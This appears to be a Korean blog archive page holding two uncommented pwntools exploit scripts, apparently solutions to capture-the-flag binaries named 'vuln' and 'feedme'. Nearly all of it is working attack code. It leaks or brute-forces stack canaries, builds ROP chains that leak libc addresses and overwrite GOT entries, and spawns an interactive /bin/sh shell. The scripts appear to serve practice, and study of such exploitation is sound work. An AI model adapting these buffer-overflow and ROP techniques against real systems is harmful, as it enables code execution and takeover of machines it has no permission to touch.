'2019/07/29'에 해당되는 글 2건

from pwn import *
  
p = process("./vuln")
e = ELF("./vuln")
l = e.libc

print p.recvuntil("\n")
p.sendline("youngsin")
for i in range(1,100):
    print p.sendlineafter("\tselect\t|\t\n","1")
    print p.sendlineafter("music\t|\t","A")
    print p.sendlineafter("\tartist\t|\t","B")

for i in range(99,101):
    print p.sendlineafter("\tselect\t|\t\n","3")
    print p.sendlineafter("select number\t|\t\n",str(i))
    print p.sendlineafter("music\t|\t","A"*19)

    if i==100:
        print p.sendafter("artist\t|\t","F"*16+"12345")
    else:
        print p.sendlineafter("artist\t|\t","B"*24)

print p.sendlineafter("\tselect\t|\t\n","2")
print p.recvuntil("12345")

canary = "\x00"+p.recv(3)
pppr = 0x080495ad
binsh = "/bin/sh\x00"

payload = "A"*20
payload += canary
payload += "A"*12

payload += p32(e.plt['write'])
payload += p32(pppr)
payload += p32(1)
payload += p32(e.got['read'])
payload += p32(4)

payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.bss())
payload += p32(len(binsh))

payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.got['read'])
payload += p32(4)

payload += p32(e.plt['read'])
payload += "A"*4
payload += p32(e.bss())

print p.sendlineafter("\tselect\t|\t\n","3")
print p.sendlineafter("select number\t|\t\n","100")
print p.sendlineafter("music\t|\t","A"*19)
print p.sendafter("artist\t|\t",payload)
print p.sendlineafter("\tselect\t|\t\n","4")
print p.recvuntil("BYE\n\n")


read_addr = u32(p.recv(4).ljust(4,"\x00"))
libc_base = read_addr - l.symbols['read']
system_addr = libc_base + l.symbols['system']

p.send(binsh)
p.sendline(p32(system_addr))
p.interactive()

exploit.py

from pwn import *
  
p = process("./feedme")

e = ELF("./feedme")

canary = ""
p.recvuntil("FEED ME!\n")
for j in range(0,4):
    for i in range(0,256):
        payload = "A"*0x20+canary+chr(i)
        p.send(chr(len(payload)))
        p.send(payload)
        result = p.recvuntil("FEED ME!\n")
        if not "stack smashing detected" in result:
            canary += chr(i)
            print canary
            break

print "Find Canary = " + canary

syscall = 0x0806fa1e
par = 0x080bb496
pcpbr = 0x0806f371
pdr = 0x0806f34a
bss = e.bss()
binsh = "/bin/sh\x00"


payload = "A"*0x20
payload += canary
payload += "A"*12
payload += p32(par)
payload += p32(0x3)
payload += p32(pcpbr)
payload += p32(bss)
payload += p32(0)
payload += p32(pdr)
payload += p32(len(binsh))
payload += p32(syscall)

payload += p32(par)
payload += p32(0xb)
payload += p32(pcpbr)
payload += p32(0)
payload += p32(bss)
payload += p32(pdr)
payload += p32(0)
payload += p32(syscall)


p.send(chr(len(payload)))
p.send(payload)
sleep(0.1)
p.send(binsh)
p.interactive()